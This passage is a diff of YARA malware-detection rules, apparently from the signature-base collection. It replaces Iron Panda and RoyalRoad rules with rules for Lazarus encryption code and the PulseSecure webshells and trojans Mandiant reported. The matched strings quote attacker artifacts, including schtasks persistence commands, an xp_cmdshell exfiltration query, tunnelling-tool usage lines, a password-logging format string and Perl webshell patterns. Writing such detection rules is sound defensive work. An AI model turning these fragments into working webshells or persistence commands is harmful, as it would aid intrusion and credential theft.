-            10 3B 60 32 1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E
-            BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83
-            3E 44 44 6C 97 85 9E 7B F0 EE 32 C3 11 41 A3 6B
-            A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91
-            75 AE 83 2E 1E F8 5F B5 65 ED B3 40 EA 2A 36 2C
-            A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7
-            45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13 74 33 0F
-            DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33
-        }
-		$decrypt_string = {
-            85 DB 75 09 85 F6 74 05 89 1E B0 01 C3 85 FF 74
-            4F F6 C3 01 75 4A 85 F6 74 46 8B C3 D1 E8 33 C9
-            40 BA 02 00 00 00 F7 E2 0F 90 C1 F7 D9 0B C8 51
-            E8 12 28 00 00 89 06 8B C8 83 C4 04 33 C0 85 DB
-            74 16 8B D0 83 E2 0F 8A 92 1C 33 02 10 32 14 38
-            40 88 11 41 3B C3 72 EA 66 C7 01 00 00 B0 01 C3
-            32 C0 C3
-        }
-		$init_strings = {
-            55 8B EC 83 EC 10 33 C9 B8 0D 00 00 00 BA 02 00
-            00 00 F7 E2 0F 90 C1 53 56 57 F7 D9 0B C8 51 E8
-            B3 27 00 00 BF 05 00 00 00 8D 77 FE BB 4A 35 02
-            10 2B DE 89 5D F4 BA 48 35 02 10 4A BB 4C 35 02
-            10 83 C4 04 2B DF A3 C8 FC 03 10 C7 45 FC 00 00
-            00 00 8D 4F FC 89 55 F8 89 5D F0 EB 06
-        }
+		$s1 = "NetResView.exe" fullword wide
+		$s2 = "2005 - 2013 Nir Sofer" wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ironpanda_Dnstunclient : FILE
+rule SIGNATURE_BASE_SUSP_VEST_Encryption_Core_Accumulator_Jan21 : FILE
 {
 	meta:
-		description = "Iron Panda malware DnsTunClient - file named.exe"
+		description = "Detects VEST encryption core accumulator in PE file as used by Lazarus malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dd608176-d7e7-5819-a7d4-e8b89d4a59c2"
-		date = "2015-09-16"
+		id = "8343652b-8865-5213-b735-d6d4084e4a84"
+		date = "2021-01-28"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/E4qia9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger.yar#L10-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a08db49e198068709b7e52f16d00a10d72b4d26562c0d82b4544f8b0fb259431"
-		logic_hash = "07c142f6eb11ecc8ed5f55d6b0cc7110c6268e189f3ce29215f75b7aba91a290"
-		score = 80
+		reference = "https://twitter.com/ochsenmeier/status/1354737155495649280"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_jan21.yar#L2-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "41fe42b2f2b5fb54b7ff19b74a35aadd928be9a3c7280ee9feffc4a142924b07"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7cd3ca8bdfb44e98a4b9d0c6ad77546e03d169bda9bdf3d1bcf339f68137af23"
 
 	strings:
-		$s1 = "dnstunclient -d or -domain <domain>" fullword ascii
-		$s2 = "dnstunclient -ip <server ip address>" fullword ascii
-		$s3 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"\\Microsoft\\Windows\\PLA\\System\\Microsoft Windows\" /tr " fullword ascii
-		$s4 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"Microsoft Windows\" /tr " fullword ascii
-		$s5 = "taskkill /im conime.exe" fullword ascii
-		$s6 = "\\dns control\\t-DNSTunnel\\DnsTunClient\\DnsTunClient.cpp" ascii
-		$s7 = "UDP error:can not bing the port(if there is unclosed the bind process?)" fullword ascii
-		$s8 = "use error domain,set domain pls use -d or -domain mark(Current: %s,recv %s)" fullword ascii
-		$s9 = "error: packet num error.the connection have condurt,pls try later" fullword ascii
-		$s10 = "Coversation produce one error:%s,coversation fail" fullword ascii
-		$s11 = "try to add many same pipe to select group(or mark is too easy)." fullword ascii
+		$sc1 = { 4F 70 46 DA E1 8D F6 41 59 E8 5D 26 1E CC 2F 89
+               26 6D 52 BA BC 11 6B A9 C6 47 E4 9C 1E B6 65 A2
+               B6 CD 90 47 1C DF F8 10 4B D2 7C C4 72 25 C6 97
+               25 5D C6 1D 4B 36 BC 38 36 33 F8 89 B4 4C 65 A7
+               96 CA 1B 63 C3 4B 6A 63 DC 85 4C 57 EE 2A 05 C7
+               0C E7 39 35 8A C1 BF 13 D9 52 51 3D 2E 41 F5 72
+               85 23 FE A1 AA 53 61 3B 25 5F 62 B4 36 EE 2A 51
+               AF 18 8E 9A C6 CF C4 07 4A 9B 25 9B 76 62 0E 3E
+               96 3A A7 64 23 6B B6 19 BC 2D 40 D7 36 3E E2 85
+               9A D1 22 9F BC 30 15 9F C2 5D F1 23 E6 3A 73 C0 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 2 of them ) or 5 of them
+		uint16(0)==0x5a4d and 1 of them
 }
-rule SIGNATURE_BASE_Ironpanda_Malware1 : FILE
+rule SIGNATURE_BASE_FE_Webshell_PL_ATRIUM_1
 {
 	meta:
-		description = "Iron Panda Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "14dc2611-4ca9-5dd2-ad00-9397a18d7be2"
-		date = "2015-09-16"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "b2663343-0bae-5215-a443-866ab8626bff"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/E4qia9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger.yar#L38-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a0cee5822ddf254c254a5a0b7372c9d2b46b088a254a1208cb32f5fe7eca848a"
-		logic_hash = "4b50a2c7f0f94b678fc560eefb217c067e934f8e7d64bc0f0d16afcccccd0d08"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L12-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ca0175d86049fa7c796ea06b413857a3"
+		logic_hash = "869b397616495c644beb997602eac84ddcdbacce4c14755c555f5bda36663ca2"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$x1 = "activedsimp.dll" fullword wide
-		$s1 = "get_BadLoginAddress" fullword ascii
-		$s2 = "get_LastFailedLogin" fullword ascii
-		$s3 = "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" fullword ascii
-		$s4 = "get_PasswordExpirationDate" fullword ascii
+		$s1 = "CGI::param("
+		$s2 = "system("
+		$s3 = /if[\x09\x20]{0,32}\(CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)\)\s{0,128}\{[\x09\x20]{0,32}print [\x22\x27]Cache-Control: no-cache\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}print [\x22\x27]Content-type: text\/html\\n\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}my \$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)[\x09\x20]{0,32};\s{0,128}system\([\x22\x27]\$/
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Ironpanda_Webshell_JSP : FILE
+rule SIGNATURE_BASE_FE_Trojan_SH_ATRIUM_1
 {
 	meta:
-		description = "Iron Panda Malware JSP"
-		author = "Florian Roth (Nextron Systems)"
-		id = "38125418-7867-5073-a731-4f1d64e07588"
-		date = "2015-09-16"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "c49441f4-a138-534c-a858-a7462ed865c9"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/E4qia9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger.yar#L57-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3be95477e1d9f3877b4355cff3fbcdd3589bb7f6349fd4ba6451e1e9d32b7fa6"
-		logic_hash = "747ce812b156bf03f8d14ef84e7d2e8535c7c70590dfcb50ce3e957bec745efc"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L29-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a631b7a8a11e6df3fccb21f4d34dbd8a"
+		logic_hash = "672a293660d89d5d7d62a658c360bad0b6408611d8794744b17a81e6a75ceea7"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 60
+		tags = ""
 
 	strings:
-		$s1 = "Bin_ExecSql(\"exec master..xp_cmdshell'bcp \\\"select safile from \" + db + \"..bin_temp\\\" queryout \\\"\" + Bin_TextBox_SaveP" ascii
-		$s2 = "tc.Text=\"<a href=\\\"javascript:Bin_PostBack('zcg_ClosePM','\"+Bin_ToBase64(de.Key.ToString())+\"')\\\">Close</a>\";" fullword ascii
-		$s3 = "Bin_ExecSql(\"IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp\");" fullword ascii
+		$s1 = "CGI::param("
+		$s2 = "Cache-Control: no-cache"
+		$s3 = "system("
+		$s4 = /sed -i [^\r\n]{1,128}CGI::param\([^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Cache-Control: no-cache[^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Content-type: text\/html[^\r\n]{1,128}my [^\r\n]{1,128}=[\x09\x20]{0,32}CGI::param\([^\r\n]{1,128}system\(/
 
 	condition:
-		filesize <330KB and 1 of them
+		all of them
 }
-rule SIGNATURE_BASE_Ironpanda_Malware_Htran : FILE
+rule SIGNATURE_BASE_FE_APT_Webshell_PL_HARDPULSE
 {
 	meta:
-		description = "Iron Panda Malware Htran"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7215f0da-9367-59b4-a78b-aeeebc4f2b69"
-		date = "2015-09-16"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "f9a2922e-6b8e-5f92-a947-3215ee8883ac"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/E4qia9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger.yar#L74-L102"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7903f94730a8508e9b272b3b56899b49736740cea5037ea7dbb4e690bcaf00e7"
-		logic_hash = "e7312a2d0ffc247eda20cb5453538a501bde6683bf34e7f4bf2230243474ba76"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L46-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "980cba9e82faf194edb6f3cc20dc73ff"
+		logic_hash = "37fc40fd998d3294edb05707170bc2deec524fc6451bff212901f9ac3e34bb35"
 		score = 75
-		quality = 60
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 83
+		tags = ""
 
 	strings:
-		$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
-		$s2 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
-		$s3 = "-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
-		$s4 = "[-] ERROR: Must supply logfile name." fullword ascii
-		$s5 = "[SERVER]connection to %s:%d error" fullword ascii
-		$s6 = "[+] Make a Connection to %s:%d...." fullword ascii
-		$s7 = "[+] Waiting another Client on port:%d...." fullword ascii
-		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
-		$s9 = "[+] Make a Connection to %s:%d ......" fullword ascii
-		$s10 = "cmshared_get_ptr_from_atom" fullword ascii
-		$s11 = "_cmshared_get_ptr_from_atom" ascii
-		$s12 = "[+] OK! I Closed The Two Socket." fullword ascii
-		$s13 = "[-] TransmitPort invalid." fullword ascii
-		$s14 = "[+] Waiting for Client on port:%d ......" fullword ascii
+		$r1 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}unless[\x09\x20]{0,32}\(open\(\$\w{1,64},[\x09\x20]{0,32}\$\w{1,64}\)\)\s{0,128}\{\s{1,128}goto[\x09\x20]{1,32}\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}return[\x09\x20]{1,32}0[\x09\x20]{0,32}\x3b\s{0,128}\}/
+		$r2 = /open[\x09\x20]{0,32}\(\*\w{1,64}[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>/
+		$r3 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}print[\x09\x20]{0,32}[\x22\x27]Content-type/
+		$s1 = "CGI::request_method()"
+		$s2 = "CGI::param("
+		$s3 = "syswrite("
+		$s4 = "print $_"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <125KB and 3 of them ) or 5 of them
+		all of them
 }
-rule SIGNATURE_BASE_Ironpanda_Malware2 : FILE
+rule SIGNATURE_BASE_FE_APT_Trojan_Linux32_LOCKPICK_1 : FILE
 {
 	meta:
-		description = "Iron Panda Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "63916f73-808d-5dc7-86f3-05c8b9c5650d"
-		date = "2015-09-16"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "00c09378-25a0-55f1-8d93-7b22d98bd8c2"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/E4qia9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger.yar#L104-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a89c21dd608c51c4bf0323d640f816e464578510389f9edcf04cd34090decc91"
-		logic_hash = "060c681e7127349464cd98f99cef6e184fbd18d2ec415dc6c95d8ac329e6fe7e"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L66-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e8bfd3f5a2806104316902bbe1195ee8"
+		logic_hash = "1623c2dc63fe7d595069a024b715bbca267ec1c9400afcadc377ae58afb81a2a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\setup.exe" ascii
-		$s1 = "msi.dll.urlUT" fullword ascii
-		$s2 = "msi.dllUT" fullword ascii
-		$s3 = "setup.exeUT" fullword ascii
-		$s4 = "/c del /q %s" fullword ascii
+		$sb1 = { 83 ?? 63 0F 84 [4] 8B 45 ?? 83 ?? 01 89 ?? 24 89 44 24 04 E8 [4] 85 C0 }
+		$sb2 = { 83 [2] 63 74 ?? 89 ?? 24 04 89 ?? 24 E8 [4] 83 [2] 01 85 C0 0F [5] EB 00 8B ?? 04 83 F8 02 7? ?? 83 E8 01 C1 E0 02 83 C0 00 89 44 24 08 8D 83 [4] 89 44 24 04 8B ?? 89 04 24 E8 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <180KB and all of them
+		(( uint32(0)==0x464c457f) and ( uint8(4)==1)) and (@sb1[1]<@sb2[1])
 }
-rule SIGNATURE_BASE_Ironpanda_Malware3 : FILE
+rule SIGNATURE_BASE_FE_APT_Trojan_Linux32_PACEMAKER : FILE
 {
 	meta:
-		description = "Iron Panda Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bc3094ab-9dc8-5b9d-aa13-28daa7d5c13f"
-		date = "2015-09-16"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "459e26f1-4ea9-56dd-ad71-0ed2c7499aea"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/E4qia9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger.yar#L123-L141"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5cd2af844e718570ae7ba9773a9075738c0b3b75c65909437c43201ce596a742"
-		logic_hash = "ca55fc5aa655fb221808b4c82db520cae24e0d93422293b6ed5e573b343e93ac"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L81-L98"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d7881c4de4d57828f7e1cab15687274b"
+		logic_hash = "f3f89744ce558179f36da3b412ba4afb3798684e6d976ef59de565b5a3323ad6"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "PluginDeflater.exe" fullword wide
-		$s1 = ".Deflated" fullword wide
-		$s2 = "PluginDeflater" fullword ascii
-		$s3 = "DeflateStream" fullword ascii
-		$s4 = "CompressionMode" fullword ascii
-		$s5 = "System.IO.Compression" fullword ascii
+		$s1 = "\x00/proc/%d/mem\x00"
+		$s2 = "\x00/proc/%s/maps\x00"
+		$s3 = "\x00/proc/%s/cmdline\x00"
+		$sb1 = { C7 44 24 08 10 00 00 00 C7 44 24 04 00 00 00 00 8D 45 E0 89 04 24 E8 [4] 8B 45 F4 83 C0 0B C7 44 24 08 10 00 00 00 89 44 24 04 8D 45 E0 89 04 24 E8 [4] 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] EB }
+		$sb2 = { 8B 95 [4] B8 [4] 8D 8D [4] 89 4C 24 10 8D 8D [4] 89 4C 24 0C 89 54 24 08 89 44 24 04 8D 85 [4] 89 04 24 E8 [4] C7 44 24 08 02 00 00 00 C7 44 24 04 00 00 00 00 8B 45 ?? 89 04 24 E8 [4] 89 45 ?? 8D 85 [4] 89 04 24 E8 [4] 89 44 24 08 8D 85 [4] 89 44 24 04 8B 45 ?? 89 04 24 E8 [4] 8B 45 ?? 89 45 ?? C7 45 ?? 00 00 00 00 [0-16] 83 45 ?? 01 8B 45 ?? 3B 45 0C }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10KB and all of them
+		(( uint32(0)==0x464c457f) and ( uint8(4)==1)) and all of them
 }
-rule SIGNATURE_BASE_Ironpanda_Malware4 : FILE
+rule SIGNATURE_BASE_FE_APT_Trojan_Linux_PACEMAKER : FILE
 {
 	meta:
-		description = "Iron Panda Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0a72c1e1-b442-52d4-af52-b863abe5ba3c"
-		date = "2015-09-16"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "5a20260a-5389-57da-956c-97063fed5015"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/E4qia9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger.yar#L143-L159"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0d6da946026154416f49df2283252d01ecfb0c41c27ef3bc79029483adc2240c"
-		logic_hash = "12661c8862eeb82d55a3912e0a499beb6bb19f7abe9ccfe6fa0506e6a032cfe4"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L99-L115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d7881c4de4d57828f7e1cab15687274b"
+		logic_hash = "cf83024cbbd500a301ac3c859b680cd79acabc232ea6f42c23fe9f8918a8d914"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "TestPlugin.dll" fullword wide
-		$s1 = "<a href='http://www.baidu.com'>aasd</a>" fullword wide
-		$s2 = "Zcg.Test.AspxSpyPlugins" fullword ascii
-		$s6 = "TestPlugin" fullword ascii
+		$s1 = "\x00Name:%s || Pwd:%s || AuthNum:%s\x0a\x00"
+		$s2 = "\x00/proc/%d/mem\x00"
+		$s3 = "\x00/proc/%s/maps\x00"
+		$s4 = "\x00/proc/%s/cmdline\x00"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10KB and all of them
+		( uint32(0)==0x464c457f) and all of them
 }
-rule SIGNATURE_BASE_Royalroad_Code_Pattern1 : FILE
+rule SIGNATURE_BASE_FE_APT_Webshell_PL_PULSECHECK_1
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "db2fb24c-df99-5622-ac3d-d31c34481984"
-		date = "2020-01-15"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "f375fdd8-567b-569b-85f4-af54a35d2a93"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L25-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ebd507d95c454562fa0b364072120b35b1bf8dd2be129a419d893f6708ab9cca"
-		score = 80
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L116-L136"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1"
+		logic_hash = "aba457dd33232ef37ca145c5b7cd9c5fe809730339a55c5e90ac46b4a136f6cb"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$S1 = "48905d006c9c5b0000000000030101030a0a01085a5ab844eb7112ba7856341231"
-		$RTF = "{\\rt"
+		$r1 = /while[\x09\x20]{0,32}\(<\w{1,64}>\)[\x09\x20]{0,32}\{\s{1,256}\$\w{1,64}[\x09\x20]{0,32}\.=[\x09\x20]{0,32}\$_;\s{0,256}\}/
+		$s1 = "use Crypt::RC4;"
+		$s2 = "use MIME::Base64"
+		$s3 = "MIME::Base64::decode("
+		$s4 = "popen("
+		$s5 = " .= $_;"
+		$s6 = "print MIME::Base64::encode(RC4("
+		$s7 = "HTTP_X_"
 
 	condition:
-		$RTF at 0 and $S1
+		$s1 and $s2 and (@s3[1]<@s4[1]) and (@s4[1]<@s5[1]) and (@s5[1]<@s6[1]) and (#s7>2) and $r1
 }
-rule SIGNATURE_BASE_Royalroad_Code_Pattern2 : FILE
+rule SIGNATURE_BASE_FE_APT_Trojan_PL_PULSEJUMP_1
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "135024ae-9ecf-5691-95ca-96002e500fd5"
-		date = "2020-01-15"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "690cc347-e60f-5cac-b65d-367ecee69251"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L42-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e252868042e5150d99de2c2f4642f3d91d764d5a062f3a8de9ab316e299e00ac"
-		score = 80
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L137-L153"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "91ee23ee24e100ba4a943bb4c15adb4c"
+		logic_hash = "c9aa2b9ef8aff14c20ed6597b1a71eafc3e3c181aabf9a3a68df18945207ff86"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$S1 = "653037396132353234666136336135356662636665" ascii
-		$RTF = "{\\rt"
+		$s1 = "open("
+		$s2 = ">>/tmp/"
+		$s3 = "syswrite("
+		$s4 = /\}[\x09\x20]{0,32}elsif[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27](Radius|Samba|AD)[\x22\x27][\x09\x20]{0,32}\)\s{0,128}\{\s{0,128}@\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}&/
 
 	condition:
-		$RTF at 0 and $S1
+		all of them
 }
-rule SIGNATURE_BASE_Royalroad_Code_Pattern3 : FILE
+rule SIGNATURE_BASE_FE_APT_Trojan_PL_QUIETPULSE
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "7bce2fe6-a921-51ec-8b5f-5d7f55ab3864"
-		date = "2020-01-15"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "4c49eef7-b8fa-55d5-8fb8-8964f6f50003"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L59-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b5d9872eb86d1a220e5b70c560e7054bee8b2bc1fa2a75781d87616674e2927"
-		score = 80
-		quality = 85
-		tags = "FILE"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
